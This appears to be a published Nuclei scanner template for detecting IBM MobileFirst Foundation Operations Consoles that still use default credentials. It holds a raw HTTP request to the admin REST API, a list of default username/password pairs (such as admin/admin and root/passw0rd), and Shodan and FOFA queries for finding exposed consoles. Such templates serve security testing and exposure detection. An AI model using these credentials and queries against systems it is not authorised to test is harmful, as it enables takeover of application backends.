ibm-mfp-default-login: IBM MobileFirst Foundation - Default Credentials

2026-05-09 IBM MobileFirst Foundation PoC Public

Description

Detected IBM MobileFirst Foundation Operations Console was found using default credentials. The administration REST API exposes full control over mobile application backends including adapter management, push notification infrastructure, OAuth security configuration, and application authenticity enforcement.

PoC

id: ibm-mfp-default-login

info:
  name: IBM MobileFirst Foundation - Default Credentials
  author: Vishal Vishwakarma
  severity: critical
  description: |
    Detected IBM MobileFirst Foundation Operations Console was found using default credentials. The administration REST API exposes full control over mobile application backends including adapter management, push notification infrastructure, OAuth security configuration, and application authenticity enforcement.
  reference:
    - https://www.ibm.com/docs/en/mfp/8.0?topic=console-mobilefirst-operations
    - https://mobilefirstplatform.ibmcloud.com/tutorials/en/foundation/8.0/installation-configuration/production/server-configuration/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
  metadata:
    max-request: 4
    verified: true
    vendor: ibm
    product: mobilefirst-foundation
    shodan-query: http.title:"MobileFirst Operations Console"
    fofa-query: title="MobileFirst Operations Console"
  tags: ibm,mobilefirst,default-login

http:
  - raw:
      - |
        GET /mfpadmin/management-apis/2.0/runtimes HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Accept: application/json

    payloads:
      username:
        - admin
        - demo
        - appcenteradmin
        - root
      password:
        - admin
        - demo
        - admin
        - passw0rd
    attack: pitchfork
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "productVersion"
          - "synchronizationStatus"
          - "management-apis"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"productVersion"\s*:\s*"([^"]+)"'
# digest: 4a0a00473045022100e40ab83c8147847d7da0da201ed296e654be7520cd13226d675e32406753309102205cdf03d24ca57386f5a8018918a88f376fdb44338bdab6fb193ec68927129b7b:922c64590222798bb761d5b6d8e72950

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